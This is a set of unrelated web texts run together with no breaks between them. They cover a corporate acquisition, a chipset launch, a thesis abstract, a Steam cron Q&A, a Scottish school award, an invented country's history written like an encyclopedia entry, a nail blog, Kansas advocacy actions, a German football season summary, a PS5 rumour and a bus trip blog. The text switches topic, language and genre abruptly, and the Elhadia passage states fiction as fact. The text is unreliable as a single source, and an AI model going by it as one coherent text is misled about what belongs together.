Everbridge acquires threat intelligence solutions provider NC4
Everbridge has announced the acquisition of NC4, a global provider of threat intelligence solutions that empower businesses, government organizations, and communities to assess and disseminate risk data and information to manage and mitigate the impact of critical events.
Everbridge says that the combination of NC4's real-time threat intelligence and analyst teams with Everbridge's existing Global Intelligence Operations Center (GIOC) analysts and CEM platform creates the industry's only end-to-end threat assessment and incident communications and management platform for reducing the impact of internal and external threats to people and assets.
"With NC4, we are adding the industry leader in threat intelligence, making Everbridge one of the largest providers of data for enterprise security and operations in the world," said David Meredith, CEO of Everbridge. "NC4 offers the most comprehensive threat data in the industry and this acquisition dramatically expands the overall situational awareness Everbridge will provide organizations, from incident identification to response, mitigation or ultimately, avoidance and prevention."
Together, Everbridge and NC4 form a global team of over 950 employees dedicated to delivering innovative, differentiated solutions for critical event management. The acquisition includes the NC4 Risk Center solution and the NC4 brand, as well as NC4'sE Team Emergency Operations Center software solution. The other NC4 products, including Celerium solutions for cyber security and Street Smart for law enforcement, will continue with the current owner.
The aggregate consideration paid by Everbridge was approximately $83 million in cash and Everbridge stock. While the largest business component has been closed, additional components are not expected to be closed until the end of the third quarter. The acquisition, upon completion, is expected to be accretive to Everbridge's non-GAAP financial results within twelve months, and Everbridge will provide further financial details after completion of the entire transaction.

An official at Nvidia Corp. confirmed that motherboards using the company's anticipated nForce chipset will begin shipping next week, and PC OEMs will launch systems at Comdex.
A spokesman for Nvidia, Santa Clara, Calif., said that the chipset itself had been shipping since last month, and board vendors had been quietly stocking up for their November launch.
Five board makers will announce boards based on the nForce, according to Nvidia: Abit, Asus, Gigabyte, Micro-Star International (MSI), and Mitac. Two anonymous tier-one PC OEMs are expected to use the boards, the spokesman said, as well as a host of white-box retailers.
The nForce, code-named "Crush", was originally "paper launched" in June, when the company released the specifications of the chipset at a launch in Taipei, Taiwan. So far, the chipset has been designed only for desktop PCs, and only for Advanced Micro Devices Inc.'s Athlon family of processors. Board vendors said the delay between launch and shipments was used to extensively test the chipset for bugs.
MSI, based in Taiwan, has already disclosed their plans to bring an nForce-enabled motherboard to market. The K7N420 Pro board uses the higher-performance "420" graphics component and the Dolby Digital option. The board boasts 5 PCI slots, a Communications and Networking Riser (CNR) slot, and 3 DDR DRAM expansion modules, for a total of 1.5 Gbytes of memory. Although graphics is built into the chipset, MSI has included a 4X AGP slot for future upgrades. The price was not disclosed; MSI says the board will ship in November.
Reportedly, the other boards to use the nForce include the Asus A7N266, the Abit NV22, and the Gigabyte GA-7ntx. Asus disclosed its plans to manufacture the A7N266 back in June, when Nvidia announced the nForce.
The nForce, based upon the GeForce2 graphics core, is similar to the chipset that Nvidia designed for Microsoft Corp.'s Xbox gaming console, due to ship this fall. Similarly, the Xbox core logic and the nForce also share some common technologies. The chipset is made up of both an integrated graphics processor (IGP) and a media communications processor (MCP), each connected via the HyperTransport I/O protocol developed by AMD.
Normally, a chipset is sold as a bundle, combining a north bridge plus an existing south bridge—the "new chipset" is typically just a newly created north bridge.
With nForce, Nvidia will offer hardware OEMs the choice to mix and match two versions of either the IGP or the MCP, for a total of four combinations: an IGP with either 64-bit or 128-bit memory accesses, and the option to include or exclude Dolby Digital sound on the MCP chip. The 64-bit version will be known as the "220"; the 128-bit version will be called the "420". The suffix "D'" will indicate the presence of the Dolby encoder.
It was not known whether other board vendors would support both the 220 and 420 versions of the chipset. The Nvidia spokesman declined to offer an estimated price for the motherboards.

Make It Macclesfield repositions itself as a campaigning force for Macclesfield.
At the end of what was described as one of the liveliest and most positive members meeting to date, and in what some might feel is a somewhat controversial move, a motion to change the direction of the organisation and reinvigorate MiM's purpose was passed by an overwhelming show of hands.
MIM's Board presented recommendations for change in order for the organisation to embark on a more campaigning role in the town.
Members agreed with the Board's view that the people of Macclesfield are becoming frustrated and disillusioned by the stagnation and decline of the town, most notably the town centre. Members felt that many good ideas, energy and enthusiasm have been wasted over the years by a lack of focus and interest in Macclesfield's needs, including by Cheshire East Council.
Finally, it was confirmed that the first public meeting under the new regime will take place towards the end of the summer with details to be published soon.

This research analyses the representation of Turkey in four British broadsheets (the Guardian, the Daily Telegraph, the Independent and the Times) as well as their Sunday sister papers between 2007-2013. Using the concepts of self and other as a theoretical basis, this research seeks to determine whether Turkey, a predominantly Muslim, secular and partially Westernised EU candidate, was represented as a part of the European Self or as an Oriental Other in British broadsheets during the time period specified. As well as defining modern Turkey's unique position on the Self-other axis of Europe in the context of British quality media, the research examines how applicable Edward Said's theory of Orientalism is to the Turkish example. Taking Turkey's multifaceted national identity and Britain's exceptionalist attitude towards Europe (as well as the British media's prejudices about Islam) into consideration, the research goes on to demonstrate that the straight-forward, binary understanding of Self-Other relationships in Said's Orientalism is not applicable to the Turkish example. Instead, the research utilises the concept of Nesting Orientalisms (created by Bakić-Hayden to explain the self-other relationships within Europe) in the analysis and concludes that Turkey was perceived and represented as an agreeable, useful yet still inferior Model Other in British media texts during the time period analysed in this study. The research, which consists of a quantitative content analysis conducted on 731 news items and a qualitative textual analysis conducted on 150 representative news articles, 60 editorials and 10 front-page stories, creates the most detailed map of Turkey's coverage in the British print media to date as well as providing continuity to the existing relevant literature.

Q: How can I start Steam with a cron job? How can I start Steam using a cron job?
I've tried just putting steam in cron, but it does not work. I've tried some odd stuff that I don't understand like DISPLAY=:0.0 steam %U but that does not work either.
I've tried these lines in cron:
00 02 * * * steam
00 02 * * * DISPLAY=:0.0 steam %U
00 02 * * * /usr/bin/steam %U

Also, is there a way to complete a Steam client update from a cron job? Usually a client update will require user input by asking for permission to restart before it will download and install a client update.
Additionally, if anyone knows how to STOP Steam from cron (as in cause a regular exit under Steam's terms like if you'd pressed "exit"; not a hard kill of the application) I would would also like to know that.
The reason is that I'm stuck with a lousy ISP with a data cap (Hughes.net = crap) except between 2AM-7AM and I'd like to be able to start Steam and get all game/client updates during that time. I know that under Steam/Settings/Downloads you can set it to only download game updates during a certain time but that would only work if I left my computer and Steam running all night; I have my computer's BIOS wake-on-timer set up to boot up my computer a little before 2AM, so I can't leave Steam running. Thank you!

A: 00 02 * * * DISPLAY=:0.0 steam

or (see edit below*)
00 02 * * * DISPLAY=:0.0 /usr/games/steam

(Thank you to muru for giving me the clue to figure this out!) This line in cron will start Steam every night at 02:00 (2:00AM).
The breakdown is this: the first part is standard cron "minutes, hours, days (of the month), months, days (of the week)", so the 00 means at zero minutes past the hour; the 02 means at 2 on the 12 hour clock (2:00AM); and having * in the locations for days, months, and days of the week means to do it on every day of every week of every month.
The DISPLAY=:0.0 I think has something to do with activating the graphical user interface at coordinates on the desktop, but I'm not sure. It's needed to make the line work; that's all I know for sure.
And steam is Steam.
If I figure out how to stop Steam from cron I will put it up, but I haven't figured that out yet. Thanks to everyone for their help!
*EDIT: Okay, so weeks later for some reason the original line I gave above: 00 02 * * * DISPLAY=:0.0 steam stopped working suddenly. I tried this slight alteration to the line and it works: 00 02 * * * DISPLAY=:0.0 /usr/games/steam I have no idea why but try them both and see which works for you.
For Linux noobs like me, you can find the full path like in the new line for any command by typing which [command] in the terminal; for example which steam shows /usr/games/steam which is what I used to make the line work again.

A: This might work:
cd ~/steamcmd
./steamcmd.sh

https://developer.valvesoftware.com/wiki/SteamCMD#Linux.2FOS_X
These are the commands to install updates:
Install or update the app using the app_update command (supplying a Steam Application ID). To also validate the app, add validate to the command. To download a beta branch, use the -beta  option – for example, the HLDS beta branch is named beta and the SrcDS beta branch is named prerelease. Some beta branches are protected by a password; to be able to download from them, also add the -betapassword  option.

Teachers' Resource Magazine
The essential read for education professionals teaching in Scotland
Mental Health and Wellbeing award launches for schools
With half of mental health problems in adulthood beginning before the age of 14, the addition of the Mental Health and Wellbeing award to the curriculum is a step in the right direction.
The award aims to help young people understand more about their own mental health and wellbeing as well as how to help others.
It is available now for schools and colleges to deliver at SCQF levels four and five. The course is split into three main topics; understanding mental health issues, influences on mental health and wellbeing and coping strategies.
As a whole it will promote positive discussion around mental health in an effort to break down the stigma around the topic. It will highlight the importance of speaking about mental health and the effect it can have on behaviours.
Potential users and impact of social media and the internet will also be a focus of the course.
The course has been developed with input and assistance from the NHS, the Scottish Association for Mental Health, and The Good Shepherd Centre. It follows the launch of a new HND in Counselling.
The Good Shepherd Centre proposed the idea of the new qualifications to the SQA. The centre houses vulnerable children aged 12-17.
It has already been implemented at Whitehill Secondary School in Glasgow where pupils have started supporting each other more and engaging in more positive discussion surrounding mental health.
The new award contributes to the Scottish government's Mental Health Strategy for 2017-2027 that aims to 'prevent and treat mental health problems with the same commitment, passion and drive as we do with physical health problems.'
While it will provide early intervention for young people's mental health problems, the course also creates opportunities for further study.
It could provide progression to an SCQF level six qualification, an NC in Health and Social Care, a modern apprenticeship in Social Services and Healthcare or employment in the care sector.
Will your school be implementing the Mental Health and Wellbeing award? Let us know on Twitter.

Elhadia is country in mid-Archanta. It is bordered by Mecyna to the east and Arataran to the north.
The area was settled some 20,000 years ago.
For most of the period between 3000BC and 1500AD life in Elhadia hardly changed; the traditional tribal system of territories was maintained and the people hunted and farmed using ancient techniques. The first contact with the outside world is recorded as being in 1504 when an Inglish ship visited the coast. The ship's crew reported that the natives, who had never seen a vessel of such size, nor the guns, clothes and mechanical instruments shown to them by the foreigners, were peaceful and traded trinkets for supplies of meat and fruits. The captain, Sir James Broadmere, claimed the land for Ingland but concluded that "it being of a verry fewe profitable vittals ('vitals' ie extraditable resources), I fansie it would be of littel vertue to transporte so maney arm'd men to this cornere of the worlde so as to make a tunne." However the Inglish did found a settlement twenty years later, naming it Peterstown and recording the first birth in the new colony. The main export was lumber and precious stones, which initially fostered interest in the new lands, but the length of the voyage and the easier availability of these resources closer to home meant that the colony was under-funded and did not develop much.
The Karolians who arrived in 1590 were after a different good: spices which could be traded from the fabled kingdom of Arataran, stories of which had been circulating since the Karolian acquisition of the Rau in the modern Ardisphere. They sent three well-armed ships in 1604 and established a settlement in a large bay which they named Uudaraanta ('New Coast'). Having made peace offerings to the native inhabitants, they hit upon a stroke of good fortune when they discovered a trade route which led to a gold seam only thirty kilometers and which deposited nuggets in watercourses. This naturally attracted the attention of the Ingrish who sent a vessel back home to deliver news of the potentially lucrative resource and to ask for reinforcements to secure it. However, the Karolian Commander Janos Siiranyi, an experienced Paliiso navy caption, decided to strike first and sailed along the coast to blockade the Inglish harbour. Siiranyi sent his first mate, Maartin Palii, and seven men ashore to deliver an ultimatum to the commander of Peterstown, stating that a surrender to his superior forces would ensure the safety of the colonists and that they were free to continue living under Karolian rule. After debating with the town council for three hours, the Inglish guard decided to fight 'for the honour of King and Country' and tried to arrest Palii and his men as foreign troops. Palii ordered his men to draw their pistols, at which point he was shot by a nervous Inglish soldier, who was then in turn killed by a Karolian musket. The exchange of fire was heard in the harbour and Siiranyi ordered his vessels, which had already loaded and aimed their cannons, to fire upon the garrison and the town. After five minutes of bombardment, the ships' longboats were sent ashore with fifty troops to subdue the Inglish soldiers, some of whom had started to fire upon the ships with muskets and a small cannon. The Inglish troops were outnumbered and surrendered after a fifteen minutes, followed by the appearance of a white tablecloth above the town hall, at which point Siiranyi ordered a ceasefire and went ashore himself to accept the surrender. Thus ended the twenty-minute Battle of Peterstown. Only two Karolians died, in comparison with twenty-one Inglish and three civilians.
Siiranyi learned that the Inglish had asked for reinforcements and quickly sent one of his own ships back to Paliiso asking the Elector to do the same. The voyage was half the month-long route the Inglish had to take, and in any case the Inglish ship had already been wrecked in a storm in the Asperic Ocean and never delivered the request for help.
Elhadia was a colony of Karolia between 1607 and 1878, and subsequently a Commonwealth of Karolia until 1956. The colonial government built railways, roads and port facilities, and were by the standards of the time fairly benevolent to the native peoples, allowing them their traditional culture and some token participation in the administration of the territory. The change to a Commonwealth in 1878 was initially little more than a legal note, but gradually laid the groundwork for self-governance. The country was still forced to buy Karolian goods and trade its agricultural and most significantly mining output with the ruling power, however affairs were generally peaceful. The Karolian social democratic governments from the 1930s onwards gave increased autonomy to Elhadia (although its ruling class were still settlers as opposed to ethnic Elhadians).
After a brief and generally peaceful independence movement in Elhadia and various pressures in Santjana, the country celebrated independence in 1956. Its post-colonial history was initially held up as a success and the country enjoyed a stable government and steady economic development until 1975 when a coup threw the country into a brief civil war followed by a dictatorship, exacerbated by historic tribal factions which had been kept under the surface during the colonial period. The assassination of dictator General Osmanel Musla eleven years later and AN intervention brought some stability to the country, but its economy had been badly damaged and corruption had ruined the government. Around 50,000 Elhadians fled abroad to escape the Musla regime.
Elhadia was under AN supervision for several years until a stable democratic government could be re-established. Although the country has held democratic elections since 1991 the government is heavily influenced by multinational mining companies and has been undermined by corruption and foreign influence.
Elhadia is mostly sahal and savannah in the interior, with some forest and cultivated land exists around the rivers and the coast. The north is more mountainous with the Aratar range creating the border with Arataran. The large Gawii lake straddles the northern border.
Elhadia has a tropical climate, with summer temperatures between 28-40 degrees C and winter between 18-25. Rainfall is limited and mostly occurs during the monsoon season. Because of this, droughts occur regularly away from the coast.
The deserts in Elhadia are often assumed to be windswept dunes of sand, and these do exist, but most of the desert in the west is actually rocky and more mountainous, whilst the east is flatter scrub lands. The traditional tribal languages contain over 100 descriptions of the type of desert, from wolahobe (almost cultivatable land) to shiimel (the stereotypical rolling yellow dunes). There are oases at various locations, often growing into villages as the roads link the chain of water sources.
Many rivers in the interior are seasonal and may only contain flowing water for weeks or even days following rainfall in the Aratar mountains. When the water floods the channel, sometimes only for a few days, there is an explosion of flowers and plants within a very short time of this occuring. There are also seasonal lakes that greatly vary in size.
The country is home to a surprisingly rich variety of life given its hostile climate. Many plants and animals have evolved survival mechanisms to allow them to become dormant during periods of drought.
Desert foxes, desert dogs and giraffes are the main mammals in the dry areas, hunted by hyenas, and desert lions. Various species of insect-catching birds hunt a myriad of flying and ground-dwelling invertebrates.
Elhadia was for most of its history a set of tribal lands and this is still largely true today. Perhaps because of their own federal system and set of distinct regions, the Karolians did not particularly suppress the tribal identities. Each tribe has a unique language and people in rural areas will not necessarily speak Hadi (although Karolian and Inglish may be understood).
Many areas on the edges of Alhmarkha'ad are incredibly poor, as destitute migrants from rural areas lost to desertification and the itinerant nature of the mining industry hope to scrape a living in the capital. These have led to large shanty towns, with no proper sanitation, law enforcement or access to education and healthcare. Violent crime is the biggest cause of death for urban residents, followed by traffic fatalities and contagious diseases. Smallpox, malaria, polio, typhoid and cholera are still regular causes of death in the country, particularly amongst the young. The country is estimated to have one doctor per 25,000 people, and most Elhadians could never afford the medical fees in any case. Malnourishment is less of a significant killer than during the dictatorship, but an estimated 23% of Elhadian infants have conditions caused by lack of food.
Around 4% of the residents are overseas long-term settlers working in the mining and related industries. Many of the these live in exclusive gated communities on the coast which are in many ways attempts to transplant the luxuries of abroad and exclude the reality of life for most Elhadians. International schools, private roads and yacht marinas are segregated by high fences and security gates. In some cases the developers have demolished slums considered too close to the sites, paying the police to arrest and even shoot anyone refusing to move. A protest in 2003 was brutally suppressed by the authorities who shot, beat to death and starved in jails over 1000 people being made homeless by a slum clearance. The incident was only exposed to media attention due to a Karolian journalist investigating human rights abuses, who has subsequently had to leave the country after receiving death threats, which are denied by the developers to have come from them.
The traditional culture of Elhadia is rich and varied. Stone and wood carvings have been prized since ancient times. Weaving of textiles into traditional patterns is still widely practiced.
Gold, abundant in watercourses, has been worked into elaborate designs since ancient times. Jet, opal, diamonds and other stones are also carved into jewellery.
Music is traditionally played on the drums, gourd xylophones and other instruments such as the bowed monochord. Skin drums are often joined by claves and other wooden percussion instruments in groups that perform music which culminates in highly complex rhythmic patterns.
Religious belief of some kind is professed by 97% of Elhadians at the last census. Around 62% follow the Reformist or Orthodoxic sects of the Christic faith introduced by the Karolians, with the remainder adherents of one of the many traditional tribal religions. Karolian propaganda from the nineteenth century about human sacrifice and black magic rituals led to the persecution of such practices, but it was difficult to enforce this in an endless desert and remote bush country. Many tribal religious belief overlap in some degree, particularly in the creation myths telling how the world was created by ants or termites, with other common themes being the ability of shamans to transmigrate into animals. Particularly venerated are the desert lion (associated with the power to decide life and death), the hawk (the presence of the sun spirit and the magical power of flight), and the ant (creation).
Elhadia's business economy is primarily based around mineral and oil extraction, whilst for most people agriculture and animal husbandry are the main means of employment. Roughly 65% of the population rely on agriculture, mainly subsistence farming, for income, and the mineral industries sustain employment directly or indirectly for another 28%. Elhadia produces around 5% of the world's oil, 14% of iron ore, 12% copper and 7% gold. Most of the mines and wells are owned by foreign companies and although they employ local labour, most of the wealth generated leaves the country. Gemstones and semi-precious stones have been exported in moderate amounts since the colonial times as well.
The service sector is still in its infancy in Elhadia. Most workers employed in this sector are involved with government or healthcare and education.
The country has been gradually improving its economic production and standards of living in the last 20 years, although it remains one of the world's poorest. It is estimated that around 40% of the population subsist on less than 2USD per day. The infant mortality rate is still amongst the highest in the world and thus the average life expectancy is 42 for men and 46 for women. However, paved roads, internet connections and literacy rates are all becoming more common, as are mobile phones which are starting to reach even the remotest areas.
Corruption is an issue in the country's business and political systems, and there is a significant black economy. Human trafficking occurs from Elhadia to Mecyna, with migrants seeking better pay. Karolia still provides around USD14 million in aid per year to Elhadia. This has been the subject of attack from right-wing Karolian parties not so much for leaving the country as for allegedly being lost to corruption in the black economy.
Elhadian society is very traditional and conservative, with the workforce almost entirely male, and acceptance of women into clerical and professional jobs only found in the capital. Due to the high infant mortality rate, the birth rate is high and the education level correspondingly low, with many children completing middle school aged fourteen and going straight to work. Fewer than 1% of Elhadians possess any kind of higher education qualification. The national literacy rate has climbed from just 55% in 1980 to over 70% in 2010, but the majority of women still have only a basic level of literacy.
Many Elhadians rely on subsistence agriculture growing bananas, palm oil, tropical fruits and goat herding. The money they receive is a tiny fraction of the price goods sold overseas receive, although fair trade co-operatives have managed to improve the situation in recent years.
Working in the mining industry in unskilled labour is another significant source of employment, albeit highly dangerous and often involving itinerant living away from home, or worse forms of indentured servitude. The mining companies rarely employ Elhadians for more skilled, safer and highly paid jobs and have begun to introduce automation into some areas, causing a reduction in employment.
The Karolians built a network of good-quality roads, but many fell into disrepair during the dictatorship. Road quality is now improving around the capital and on a few highways used by the mineral trade. In other parts of country the roads are often poor quality, or just dirt tracks or lines of flags across the semi-desert. Four-wheel drives are almost essential for any proper cross-country journey, but most of the vehicle stock is second-or third hand imported from other countries (mostly Mecyna or the Ardisphere). Buses, or trucks converted to buses, are used for inter-city travel, although have a reputation for crashing on the potholed roads or falling off bridges and turning over in fords into rivers when overloaded. In fact travel by road is quite dangerous, not just because of the road conditions and the questionable road worthiness of the cars and trucks, but also because the driving test in Elhadia is rudimentary and in any case actually possessing a license is rarely enforced. Added to all this, wild animals, animal-drawn carts, peddlers and pedestrians wander about the roads and often off them to avoid the potholes, and there have been reports of bandits in the countryside. Wealthy foreigners often drive large 4x4 trucks and SUVs at high-speed both on proper roads and off-roads, knowing that thanks to the ease of passing bribes they are immune to the police.
The Karolians built a network of railways at Karolian gauge (1544mm) between major cities and mining centres, which were maintained after independence. Today around 40% remains, although some sections are in poor condition and services are far less frequent. Rail operations are geared towards freight, but passenger services do exist, often combined with coal and oil trains. The track quality and fuel shortages mean that rail travel is often slow over long distances. However, rail travel is very cheap and much safer than by road. The famous 2-kilometer-long mineral trains that travel the length of the country are still an important freight artery, and are a supply line to rural areas. Passenger service is often unofficial, but Elhadian Railways has taken to usually attaching often semi-derelict passenger carriages, cabooses or covered wagons to goods trains to provide 'first class' whilst second class usually involves riding on the top of freight cars.

Rainbowify Me ~ Nail blog: Essence ~ Glitter in the Air!
Essence ~ Glitter in the Air!
"Glitter in the Air!" is from Essense's "Glitter On Glitter Off"-collection just like "Spotlight On!" that I showed you yesterday. Today I decided to use my peel off-glitter for nail art.
I started out with two easy coats of Sephora's "Tribal Tattoo".
Then I dripped a bit of "Tribal Tattoo", a bit of Essence's "Glitter in the Air" and Artistic Colour Revolution's "Under the Overalls" on a piece of plastic. Then I dipped my sponge in the mix and sponged it onto my nails.
When that was all dry I topped it with topcoat and my manicure was done.
The grey gives the manicure a bit of a cloudy look. I think it would have looked really nice with white as well.
These are the three polishes I used today.
Number of coats: I used it for nail art.
What a precious effect sweetie!!!

Are you ready to take action in Kansas? At the Mainstream Coalition we work hard to get people involved in their own representation, from being informed voters, to being active advocates, to even running for office. At Mainstream Action, you can always find ways to advocate for the priorities we share.
See more about where Mainstream stands on the issues, join our mailing lists to have information and action sent to you, or donate to our organization so that we can continue to do this work.
> Connect with your Kansas Legislators - Click to find your legislators - This action is ongoing, we're always encouraging constituents to connect with their Kansas state legislators. Until the national clearinghouses have updated their lists of who is now a legislator, we are asking you to find who represents you with our own tool, ksleglookup.org.
Completed. Help sustain Governor's Kelly's veto of anti-trans legislation! Gov. Kelly vetoed SB 55, but now groups like the Family Policy Alliance of Kansas are pressuring lawmakers to overturn her veto. We need you to let those legislators know they have our support for sustaining the veto and keeping Kansas a safe place for all kids. Take both of these actions! Click here to thank these legislators who voted against SB55. These legislators voted against the bill when it came up on the floor, and are being pressured to change their position. Let them know you are grateful for their vote! Click here to ask these legislators to sustain the veto. These legislators chose not to vote on the bill when it came up on the floor. They are being pressured to vote to overturn the veto! Ask them to come down on the side of compassion.
Completed. Stop the bills that would make voting more difficult! These bills would make it harder to vote by absentee ballot, and would take for the Legislature all powers to affect elections from the Executive branch and the Courts, as well as hamstring the Secretary of State's ability to make needed changes. Our partner, Loud Light, has an action available for these bills.
Completed. Stop the tax giveaway for the rich! This bill has lived in many guises, for several years, but always comes down to the same thing, giving tax breaks to Kansans who earn high incomes, and to corporations that do business in Kansas. Low and middle income Kansans do not benefit from this bill, and the Governor vetoed it for that reason. Our partner, Kansas Action for Children, has an action available for this bill.
Completed. Encourage Gov. Kelly to veto anti-trans legislation! Click to send an email to Kansas Governor Laura Kelly asking her to veto SB 55, the bill to discriminate against trans girls and women in school sports. This bill passed the Kansas Legislature, but not with enough votes to survive a veto. Your action is needed now!
Completed. Ask Gov. Kelly to veto voter suppression bills! Click to send an email to Kansas Governor Laura Kelly asking her to veto HB 2183 and HB 2332. These bills will make absentee voting harder, and take some election powers for the Legislature alone, taking them from the Executive and Judicial branches.
Completed. Stop anti-trans legislation! Click to send an email to your #ksleg-islators asking them to oppose SB 55, the bill to discriminate against trans girls and women in school sports. This bill has been brought to a vote without a hearing in the House, and excluding opposing voices from deliberation. Your action is needed now!
Completed. Stop legislation sending tax dollars to private schools! Click to send an email to your #kslegislators asking them to oppose SB 175, the newly named bill to expand and create new avenues for school vouchers. This bill would boldly take money directly from public school funding, and funnel it to private and religious schools, while refusing to hold those schools ot the same standards as public schools. This undermines public education, and the children enrolled in these private schools are not given any guarantee of the quality of their education. Your action is needed now!
Completed. Stop a gun bill that makes us less safe! This bill would allow Kansans as young as 18 to carry concealed, loaded weapons, even those still in high school. It also allows people from other states to carry concealed guns in our communities without regard to their training.
Completed. Women's Reproductive Health - Until 9 am on Friday, January 15, 2021, we have an action to email the Kansas Legislature's House Federal and State Affairs Committee to ask them to oppose HCR 5003, a resolution to place an amendment to the Kansas Constitution on a future statewide ballot. This amendment would strip from the Constitution the right of every Kansas woman to make her own health care decisions, instead giving that right to legislators.
Completed. Protect Reproductive Health Choice - Ongoing until the bills are passed or defeated, we are asking you to email or otherwise contact your KS legislators to ask them to oppose HCR 5003/SCR 1602, resolutions to place an amendment to the Kansas Constitution on a future statewide ballot. This amendment would strip from the Constitution the right of every Kansan to make their own reproductive health care decisions, instead giving that right to legislators.

Die Division 2 1976/77 war die 38. Austragung der zweithöchsten französischen Fußballliga. Es handelte sich seit 1970 um eine offene Meisterschaft mit Profis und Amateuren. Zweitligameister wurde Racing Club Strasbourg.

Vereine
Teilnahmeberechtigt waren die 27 Vereine, die nach der vorangegangenen Spielzeit weder in die erste Division auf- noch in die dritte Liga (National) abgestiegen waren; dazu kamen drei Erstligaabsteiger und sechs Aufsteiger aus der National. Diese 36 Teilnehmer spielten in zwei überwiegend nach regionalen Gesichtspunkten eingeteilten Gruppen (eine mit Mannschaften aus dem Norden und Westen sowie eine mit Teams aus dem Süden und Osten).Somit spielten in dieser Saison folgende Mannschaften um die Meisterschaft der Division 2: Absteiger
 Gruppe A: Paris FC, Red Star FC, Entente Bagneaux-Fontainebleau-Nemours, AJ Auxerre, Aufsteiger FC Bourges, Aufsteiger US Tavaux-Damparis, FC Gueugnon, AS Angoulême, US Toulouse, AS Béziers, FC Sète, Aufsteiger AC Arles, Absteiger Olympique Avignon, FC Martigues, SC Toulon, AS Cannes, Absteiger AS Monaco, Gazélec FC Ajaccio
 Gruppe B: US Dunkerque, SC Hazebrouck, US Grand Boulogne, Aufsteiger US Nœux-les-Mines, SC Amiens, EAC Chaumont, SAS Épinal, SR Saint-Dié, Absteiger Racing Strasbourg, Racing Club Franc-Comtois Besançon, FC Rouen, SM Caen, Aufsteiger Amicale Lucé, Stade Brest, Aufsteiger Stade Quimper, FC Lorient, FC Tours, LB Châteauroux

Aufstiegsberechtigt waren die jeweiligen Gruppenersten sowie der Gewinner der Play-offs zwischen den beiden Zweitplatzierten. Eine Relegation zwischen den am schlechtesten platzierten Erstligisten, die nicht direkt abstiegen, und den besten, nicht direkt aufstiegsberechtigten Zweitligisten gab es auch diesmal nicht.

Saisonverlauf
Jede Mannschaft trug gegen jeden Gruppengegner ein Hin- und ein Rückspiel aus, einmal vor eigenem Publikum und einmal auswärts. Es galt die Zwei-Punkte-Regel; bei Punktgleichheit gab die Tordifferenz den Ausschlag für die Platzierung. Die Bonuspunktregelung zur Förderung des Angriffsfußballs war zu dieser Saison wieder abgeschafft worden. In Frankreich wird bei der Angabe des Punktverhältnisses ausschließlich die Zahl der Pluspunkte genannt; hier geschieht dies in der in Deutschland zu Zeiten der 2-Punkte-Regel üblichen Notation.

Mit Strasbourg und Monaco schafften zwei der drei Erstligaabsteiger auf Anhieb die umgehende Rückkehr in die Division 1, während sich bis zum letzten Spieltag noch drei Mannschaften (Gueugnon, Toulon und Rouen) Chancen ausrechnen konnten, den dritten Aufsteiger zu stellen. Dies gelang in den Barrages schließlich den "Roten Teufeln" aus Rouen. Unter den Neulingen aus der dritten Division schlossen die drei Teams in der Gruppe B (Lucé, Quimper und Nœux) die Spielzeit in der oberen Tabellenhälfte ab, während in der anderen Gruppe alle drei Mannschaften gegen den sofortigen Wiederabstieg kämpften, den schließlich nur Arles vermeiden konnte, während Bourges und Tavaux-Damparis – gemeinsam mit dem traditionsreichen FC Sète – schon relativ frühzeitig abgeschlagen waren. In den 612 Begegnungen wurden 1.618 Treffer erzielt; das entspricht einem Mittelwert von 2,64 Toren je Spiel. Erfolgreichste Torschützen waren in Gruppe A Delio Onnis (Monaco) mit 30 und in Gruppe B Albert Gemmrich (Strasbourg) mit 24 Treffern; die Liga-Torjägerkrone gewann somit der Argentinier Onnis.

Zur folgenden Spielzeit kamen mit SCO Angers, OSC Lille und Stade Rennes drei Absteiger aus der Division 1 hinzu; aus der dritthöchsten Liga stiegen sechs Mannschaften direkt auf, und zwar Olympique Alès, US Melun, SR Haguenau, EA Guingamp, AS Poissy und FC Limoges.

Abschlusstabellen

Gruppe A

Gruppe B

Ermittlung des Meisters
Die beiden Gruppensieger trafen in Hin- und Rückspiel aufeinander, um den diesjährigen Meister der Division 2 zu ermitteln. Dabei setzte sich Racing Strasbourg vor eigenem Publikum mit 2:0 durch und erreichte im Fürstentum Monaco ein 1:1, wodurch die Elsässer sich den Meistertitel sicherten.

|}

Relegation
Nach dem gleichen Modus kämpften die beiden Gruppenzweiten um einen weiteren Aufstiegsplatz in die höchste Spielklasse. Hierbei gewann der FC Gueugnon sein Heimspiel mit 2:1, unterlag anschließend aber in Rouen mit 0:3, so dass die Normannen als dritte Mannschaft in die erste Liga einzogen.

Sony may reveal a first crop of PS5 games on June 3rd
It appears Sony is preparing to offer its first proper look at PS5 games on June 3rd, according to Bloomberg. However, that date isn't set in stone. Plans have reportedly "been in flux," owing in part to the COVID-19 pandemic, so you might need to wait beyond next Wednesday to find out about some PS5 games.
If the company does hold a game reveal stream next week, it probably won't be too comprehensive either. Sony isn't likely "to reveal every essential detail on the console" during the event, according to the report. It may hold more events in the coming months to trickle out PS5 news. For instance, it might hold off on revealing the console's design until later.
Although there have been several next-generation game announcements, including some that'll be available on PS5, Sony hasn't revealed much about its exclusive titles yet. There are other rumblings that more news will emerge about PS5 games imminently. It appears the next issue of PlayStation Official Magazine UK will cover 38 titles for the console and offer gameplay screenshots.
Compared with Microsoft, which has been a bit more forthcoming with Xbox Series X game news thus far, Sony's a little behind the curve in terms of PS5 reveals. So far, it has given a deep dive into the console's technical side, taken the wrappers off the DualSense controller and unveiled the system's entirely unsurprising logo. Earlier this month, Epic Games revealed an impressive Unreal Engine 5 tech demo running on a PS5, which gave a sense of the visuals that the console is capable of handling.

MVRTA: 53 (Newburyport Summer Shuttle)
Beach day! The MVRTA's seasonal services started this weekend, one of them being the 53 from Newburyport Station to Plum Island, via downtown Newburyport. Now in its second year of operation, the route is funded by the City of Newburyport, and (at least when I was on) it got hardly any riders! Maybe the ridership will get better as we get further into summer...
The bus in the station parking lot.
We even hit a bit of a snag before we could even get on the bus. Firstly, my friend Anna and I spent a while running around to actually find the stop for the summer shuttle. There was actually a decently-sized sign showing the stop in Lot A of the station, so that's on us. However, when we tried to get on the first bus that came into the station (simply signed as "Shuttle"), the driver told us he was only going downtown. Yes, it turns out the MVRTA runs a second route from the station to downtown, with its only indication of existence being this awful poster:
"Custom House Shuttle," huh? Well, I looked at the Custom House website, and THAT doesn't even give information on it!
Well, anyway, the Plum Island bus came soon after, and we got on. We headed up Boston Way, going by another lot for the station, then turned onto Parker Street, then Graf Road. The surroundings consisted entirely of random office and industrial parks, placed willy-nilly along the roads.
Welcome to beautiful Newburyport!
